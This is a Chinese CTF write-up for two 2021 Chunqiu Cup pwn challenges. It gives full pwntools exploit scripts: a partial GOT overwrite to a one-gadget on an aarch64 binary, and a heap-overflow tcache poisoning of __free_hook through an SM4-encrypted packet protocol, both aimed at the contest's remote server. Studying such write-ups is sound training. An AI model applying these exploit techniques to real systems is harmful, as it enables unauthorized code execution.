2021春秋杯pwn题解

robots

 

dou_like_pwn

libc

2.27的libc

ld在这里下载

http://archlinux.arkena.net/archive/packages/a/aarch64-linux-gnu-glibc/

漏洞

功能2只检查了a1<=2, a1可以是负数, 因此产生越界

思路

PtrArr前面一个回环指针

先Read2B修改这个回环指针的最低2B, 得到任意指针, 然后再利用这个任意地址去修改任意位置2B

所以read功能就是elf任意写2B, 刚好2次

elf任意写, 而且还可以写入GOT, 那么首先想到的就是打GOT

最简单的思路就是partial overwrite GOT为OGG

由于低12bit固定, 所以要找除了低2B以外, 高位都相同的OGG与GOT, 这样只要覆盖最低2B, 猜0.5B即可

最终找到的是这两个

并且恰好满足$x2=0

exp

#! /usr/bin/python
# coding=utf-8
import sys
import os
from pwn import *
from random import randint
context.log_level = 'debug'
context(arch='aarch64', os='linux')

debug = 0
gdb_port = 1234
file_name = './pwn'

elf = ELF(file_name)
libc=ELF('./libc.so.6')

def Log(name):    
    log.success(name+' = '+hex(eval(name)))

if(len(sys.argv)==1):            #local
    if(debug):
        cmd = ['qemu-aarch64', '-g', str(gdb_port), '-L', '/usr/aarch64', file_name]        
    else:
        cmd = ['qemu-aarch64', '-L', '/usr/aarch64', file_name]
    sh = process(cmd)

else:                            #remtoe
    sh = remote('47.104.148.36', 11432)

def INT():
    log.success('send SIGINT')
    os.system('kill -INT %d'%(sh.pid))

def Num(n):
    sh.sendline(str(n))

def Name(name):
    sh.recvuntil('hello! tell me you name:')
    sh.send(name)

def Pwd(pwd):
    sh.recvuntil('admin passwd:')
    Num(pwd)

def Cmd(n):
    Num(n)

def Allocate(size):
    Cmd(1)
    sh.recvuntil('size:\n')
    Num(size)

def Edit(idx, cont):
    Cmd(2)
    sh.recvuntil('idx:\n')
    Num(idx)
    sh.send(cont)

def ChangePwd(l, pwd):    
    Cmd(3)
    sh.recvuntil('len:')
    sh.send(str(l))
    sh.recvuntil('\n\n')
    sh.sendline(str(pwd))

def Addr(base, guess):
    return base | (guess<<12)

Name('A'*0x8)
Pwd(0)
ChangePwd(2, 1)

Allocate(0x20)
Edit(-2, p8(0x50))
Edit(-2, p16(Addr(0xe80, randint(0, 0xF))))

Cmd(11)
#INT()

sh.interactive()

'''
gdb-multiarch
file ./pwn
file ./libc.so.6
set architecture aarch64
target remote localhost:1234

proc_base:        0x4000000000
PtrArr:            telescope 0x12090+0x0000004000000000
GOT:            telescope 0x12000+0x0000004000000000 30
puts(GG):        break *(0xE70+0x4000000000)

libc.address:    0x4000864000

0x3f150 execve("/bin/sh", sp+0x70, environ)
constraints:
  address x20+0x338 is writable
  x3 == NULL

0x3f174 execve("/bin/sh", sp+0x70, environ)
constraints:
  addresses x19+0x4, x20+0x338 are writable
  [sp+0x70] == NULL

0x3f198 execve("/bin/sh", x21, environ)
constraints:
  addresses x19+0x4, x20+0x338 are writable
  [x21] == NULL || x21 == NULL

0x63e80 execl("/bin/sh", x1)
constraints:
  x1 == NULL

'''

 

双边协议@1.5

程序分析

接收包

  • 包结构
8B:   maigc   =0x2F62696E2F2F7368
8B:   packet_len  =cont_len+0x20+0x10
8B:   head_len  = 0x10
8B:   cont_len
0x10B:  head   = 加密用的Key
cont_len: content

但是发现content并不是明文, 所以继续逆向
发现特殊值, 确定是sm4加密

构造包时先生成了0x10B的随机数, 然后每0x20为一个单位, 调用Sm4Enc进行加密
最后把加密的key写入包的Head字段中

加密的具体过程为: 先前16B 后16B分别进行加密, 然后进行一个换位变换

因此得到包解析算法

发送包

也还是类似的
在发包时注意, base64要求必须与3对齐, 所以最后发送base64结果时有一个与3对齐操作, 使用=作为padding

漏洞

思路

这题堆环境太复杂了, 只能一点点的去尝试

从过泄露chunk上残留的内容, 泄露libc地址, 发现是2.27的libc

然后各种尝试, 以0x20的单位去分配, 目标是使得第一字节残留的数据可以产生堆溢出

也就是Edit计算chunk size时, 让*ptr_6不为0 , 也不能为太大的数字, 否则会溢出

然后就是堆溢出打Tcache了

上次hmg的双边协议把我打自闭了, 这次一血算是除了心魔, 再也不怕misc-pwn了

EXP

#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
from random import randint
from sm4 import SM4Key

#context.log_level = 'debug'
context(arch='amd64', os='linux')

elf = ELF('./pwn')
libc=ELF('./libc-2.27.so')


def Log(name):    
    log.success(name+' = '+hex(eval(name)))

if(len(sys.argv)==1):            #local
    sh = process('./pwn')
    proc_base = sh.libs()['/home/parallels/pwn']
else:                            #remtoe
    sh = remote('47.104.148.36', 24312)

Magic = 0x2F62696E2F2F7368
MyKey = 'A'*0x10

def Num(n):
    sh.sendline(str(n))

def Sm4Dec(enc, key):
    g1 = ''
    g2 = ''
    for i in range(0x20):
        if(i%2==0):
            g1+=enc[i]
        else:
            g2+=enc[i]
    enc = SM4Key(key)
    res = enc.decrypt(g1) + enc.decrypt(g2)
    return res

def DecPacket(s):
    packet = base64.b64decode(s)
    magic = u64(packet[0:8])
    packet_len = u64(packet[8:0x10])
    head_len = u64(packet[0x10:0x18])
    cont_len = u64(packet[0x18: 0x20])
    Key = packet[0x20: 0x30]
    enc_cont = packet[0x30: 0x30+cont_len]
    cont = ''
    for i in range(0, cont_len, 0x20):
        group = enc_cont[i: i+0x20]
        cont+= Sm4Dec(group, Key)
    return cont

def Sm4Enc(cont, key):
    g1 = cont[0:0x10]
    g2 = cont[0x10:0x20]
    enc = SM4Key(key[0:0x10])
    g1 = enc.encrypt(g1)
    g2 = enc.encrypt(g2)
    res = ''
    for i in range(0x10):
        res+= g1[i]
        res+= g2[i]
    return res

def Packet(head_len, head, cont_len, cont):
    packet_len = head_len+cont_len+0x20
    packet = flat(Magic)
    packet+= flat(packet_len, head_len, cont_len)
    packet+= head
    for i in range(0, len(cont), 0x20):
        packet+= Sm4Enc(cont[i: i+0x20], head)
    res = base64.b64encode(packet)
    if(len(res)%3 != 0):
        res+= '='*(3-(len(res)%3))    
    return res

def Getline():
    res = DecPacket(sh.recvline())
    print(res)
    return res

def SendPacket(head_len, head, cont_len, cont):
    print("Send: "+cont)
    sh.send(Packet(head_len, head, cont_len, cont))

def SendCont(cont):
    SendPacket(0x10, MyKey, len(cont), cont)

def Cmd(n):
    Getline()
    Getline()
    Getline()
    Getline()
    Getline()
    SendCont(str(n).ljust(0x20, '\x00'))

def Add(size, cont):
    Cmd(1)
    Getline()
    SendCont(str(size).ljust(0x20, '\x00'))
    Getline()
    SendCont(cont)

def Free(idx):
    Cmd(2)
    Getline()
    SendCont(str(idx).ljust(0x20, '\x00'))

def Edit(idx, cont):
    Cmd(4)
    Getline()
    SendCont(str(idx).ljust(0x20, '\x00'))
    Getline()
    SendCont(cont)

def Show(idx):
    Cmd(5)
    Getline()
    SendCont(str(idx).ljust(0x20, '\x00'))

#leak addr
Add(0x370, 'A'*0x40)
Show(0)
res = Getline()
libc.address = u64(res[0:8])-0x3ec3a0
Log('libc.address')

heap_addr = u64(res[0x10:0x18])
Log('heap_addr')

Free(0)

Add(0x80, 'B'*0x20)
Add(0x80, 'C'*0x20)
Add(0x80, 'D'*0x20)

Edit(1, 'X'*0x80+flat(0, 0x111, 0xdeadbeef, 0xdeadbeef))
Free(2)
Edit(1, 'X'*0x80+flat(0, 0x111, libc.symbols['__free_hook']-0x8, 0xdeadbeef))

Free(0)
Free(1)

#gdb.attach(sh, '''
#telescope 0x2080e0+0x0000555555554000
#heap bins
#''')

exp = '/bin/sh\x00'
exp+= p64(libc.symbols['system'])
exp = exp.ljust(0x100, 'G')
Add(0x100, exp)



sh.interactive()


'''
PtrArr                    telescope 0x2080e0+0x0000555555554000
RecvContLen:            telescope 0x203078+0x0000555555554000
Edit: 
    read cont pakcet:     break *(0xc5D+0x0000555555554000)
    pow(256.0, ...):    break *(0xc2e+0x0000555555554000)
RecvPacket:
    SM4Dec:                break *(0x1849+0x0000555555554000)
'''
(完)